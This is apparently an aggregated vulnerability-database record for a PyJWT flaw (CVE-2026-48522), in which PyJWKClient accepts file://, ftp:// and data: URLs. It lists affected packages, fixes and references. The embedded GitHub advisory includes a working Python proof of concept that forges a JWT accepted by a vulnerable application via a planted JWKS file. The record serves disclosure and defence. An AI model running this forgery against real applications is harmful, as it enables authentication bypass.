{"id":"CVE-2026-48522","aliases":["AZL-93036","BELL-CVE-2026-48522","CLSA-2026-1786521955","CLSA-2026-1792740713","DEBIAN-CVE-2026-48522","EUVD-2026-32915","GHSA-993g-76c3-p5m4","GHSA-pxh4-856f-4h89","PYSEC-2026-175","ROOT-APP-PYPI-CVE-2026-48522","SUSE-SU-2026:22138-1","SUSE-SU-2026:22170-1","SUSE-SU-2026:22220-1","SUSE-SU-2026:22238-1","SUSE-SU-2026:2626-1","SUSE-SU-2026:2627-1","UBUNTU-CVE-2026-48522","USN-8823-1","openSUSE-SU-2026:11024-1","openSUSE-SU-2026:21095-1"],"status":"published","title":"PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","severity":{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00222,"percentile":0.12827,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-347","CWE-441","CWE-918"],"published":"2026-05-28T15:00:30Z","modified":"2026-10-28T10:15:03Z","fixes":[{"ecosystem":"PyPI","package":"pyjwt","fixed_in":["2.13.0","2.14.0"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"python-jwt","fixed_in":["2.13.0-1"],"sources":["osv"]},{"ecosystem":"Alpaquita:25","package":"py3-jwt","fixed_in":["2.13.0-r0"],"sources":["osv"]},{"ecosystem":"Alpaquita:stream","package":"py3-jwt","fixed_in":["2.13.0-r0"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"pyjwt","fixed_in":["2.10.1.post7+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"pyjwt","fixed_in":["2.13.0-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"PyJWT","fixed_in":["2.9.0+aikido.6","2.10.1+aikido.6","2.8.0+aikido.5","2.5.0+aikido.5","2.12.0+aikido.3","2.12.1+aikido.3","2.10.1+aikido.7","2.12.0+aikido.4","2.4.0+aikido.7","2.12.0+aikido.5","2.8.0+aikido.6","2.12.1+aikido.4","2.5.0+aikido.6","2.12.1+aikido.5"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"pyjwt","fixed_in":["2.3.0-1ubuntu0.4"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"pyjwt","fixed_in":["2.7.0-1ubuntu0.2"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"pyjwt","fixed_in":["2.10.1-4ubuntu1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"last_affected":"2.12.1"},{"fixed":"2.13.0"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.13.0"},{"fixed":"2.14.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0-1"}]}]},{"source":"osv","ecosystem":"Alpaquita:25","package":"py3-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.1-r0"},{"fixed":"2.13.0-r0"}]}]},{"source":"osv","ecosystem":"Alpaquita:stream","package":"py3-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0-r1"},{"fixed":"2.13.0-r0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"2.3.0.post2+tuxcare"}]}],"versions":["2.3.0","2.3.0.post1+tuxcare"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.1"},{"fixed":"2.10.1.post7+tuxcare"}]}],"versions":["2.10.1","2.10.1.post1+tuxcare","2.10.1.post2+tuxcare","2.10.1.post3+tuxcare","2.10.1.post4+tuxcare","2.10.1.post5+tuxcare","2.10.1.post6+tuxcare"]},{"source":"osv","ecosystem":"Debian:12","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10.1-1","2.10.1-2","2.10.1-3","2.10.1-4","2.11.0-2","2.12.1-1","2.13.0-1","2.14.0-1","2.15.0-1","2.15.1-1","2.6.0-1","2.6.0-1+deb12u1","2.7.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10.1-2","2.10.1-2+deb13u1","2.10.1-3","2.10.1-4","2.11.0-2","2.12.1-1","2.13.0-1","2.14.0-1","2.15.0-1","2.15.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0-1"}]}],"versions":["2.10.1-2","2.10.1-3","2.10.1-4","2.11.0-2","2.12.1-1"]},{"source":"osv","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.13.0"}]}],"versions":["2.0.0","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.2.0","2.3.0","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0"]},{"source":"osv","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.14.0"}]}],"versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.3","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.4.3","1.0.0","1.0.1","1.1.0","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.3","1.6.4","1.7.0","1.7.1","2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.13.0","2.2.0","2.3.0","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0"]},{"source":"osv","ecosystem":"PyPI","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0"}]}],"versions":["0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.3","0.3.0","0.3.1","0.3.2","0.4.0","0.4.1","0.4.2","0.4.3","1.0.0","1.0.1","1.1.0","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.6.0","1.6.1","1.6.3","1.6.4","1.7.0","1.7.1","2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.2.0","2.3.0","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0"]},{"source":"osv","ecosystem":"Root:PyPI","package":"PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0+aikido.6"},{"fixed":"2.10.1+aikido.6"},{"fixed":"2.8.0+aikido.5"},{"fixed":"2.5.0+aikido.5"},{"fixed":"2.12.0+aikido.3"},{"fixed":"2.12.1+aikido.3"},{"fixed":"2.10.1+aikido.7"},{"fixed":"2.12.0+aikido.4"},{"fixed":"2.4.0+aikido.7"},{"fixed":"2.12.0+aikido.5"},{"fixed":"2.8.0+aikido.6"},{"fixed":"2.12.1+aikido.4"},{"fixed":"2.5.0+aikido.6"},{"fixed":"2.12.1+aikido.5"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.1","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-slfo.1.1_2.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.2.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.2.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.2","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.2.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0-3.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP4","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.0-150400.8.13.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.0-150200.3.14.1"}]}],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.0-1ubuntu0.4"}]}],"versions":["1.7.1-2ubuntu2","2.1.0-1","2.3.0-1","2.3.0-1ubuntu0.1","2.3.0-1ubuntu0.2","2.3.0-1ubuntu0.3"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-1ubuntu0.2"}]}],"versions":["2.7.0-1","2.7.0-1ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10.1-2","2.10.1-2ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1-4ubuntu1.1"}]}],"versions":["2.10.1-2","2.10.1-3","2.10.1-3build1","2.10.1-4","2.10.1-4ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0-1ubuntu0.1+esm2"}]}],"versions":["1.0.0-0ubuntu1","1.3.0-1","1.3.0-1ubuntu0.1","1.3.0-1ubuntu0.1+esm1"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.3+ds1-1ubuntu0.1+esm2"}]}],"versions":["1.4.2-1.1","1.5.3+ds1-1","1.5.3+ds1-1ubuntu0.1","1.5.3+ds1-1ubuntu0.1+esm1"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.1-2ubuntu2.1+esm2"}]}],"versions":["1.7.0-2","1.7.1-1","1.7.1-2ubuntu1","1.7.1-2ubuntu2","1.7.1-2ubuntu2.1","1.7.1-2ubuntu2.1+esm1"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.0-1ubuntu0.4"}]}],"versions":["1.7.1-2ubuntu2","2.1.0-1","2.3.0-1","2.3.0-1ubuntu0.1","2.3.0-1ubuntu0.2","2.3.0-1ubuntu0.3"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.0-1ubuntu0.2"}]}],"versions":["2.7.0-1","2.7.0-1ubuntu0.1"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.10.1-4ubuntu1.1"}]}],"versions":["2.10.1-2","2.10.1-3","2.10.1-3build1","2.10.1-4","2.10.1-4ubuntu1"],"bundled":5},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.13.0-1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-PyJWT","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.12.1-160000.2.1"}]}],"bundled":5}],"products":[{"vendor":"jpadilla","product":"pyjwt"},{"vendor":"pyjwt_project","product":"pyjwt"}],"references":[{"url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48522","tags":["web","advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml","tags":["web"]},{"url":"https://github.com/github/advisory-database/pull/8521","tags":["web"]},{"url":"https://github.com/advisories/GHSA-993g-76c3-p5m4"},{"url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89","tags":["web"]},{"url":"https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb","tags":["web"]},{"url":"https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pxh4-856f-4h89"},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-48522","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48522.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-48522","tags":["advisory"]},{"url":"https://github.com/jpadilla/pyjwt","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622138-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1266798","tags":["report"]},{"url":"https://bugzilla.suse.com/1266799","tags":["report"]},{"url":"https://bugzilla.suse.com/1266800","tags":["report"]},{"url":"https://bugzilla.suse.com/1266801","tags":["report"]},{"url":"https://bugzilla.suse.com/1266802","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48522","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48524","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48525","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48526","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622170-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622220-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622238-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262626-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262627-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-48522","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48522","tags":["report"]},{"url":"https://github.com/jpadilla/pyjwt/commit/95791b1759b8aa4f2203575d344d5c78564cdc81","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8823-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-48523","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-48524","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-48525","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-48526","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-48522","title":"PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T15:00:30.186Z","modified":"2026-06-02T15:47:49.649Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-441","CWE-918"],"updated_at":"2026-11-02T13:50:49.872037Z"}],"euvd":[{"id":"EUVD-2026-32915","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T15:00:30Z","modified":"2026-06-02T15:47:49Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:20:56.053165Z"}],"ghsa":[{"id":"GHSA-993g-76c3-p5m4","title":"PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes","description":"\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain — verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}\n```\n\n## Cross-library evidence — PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint 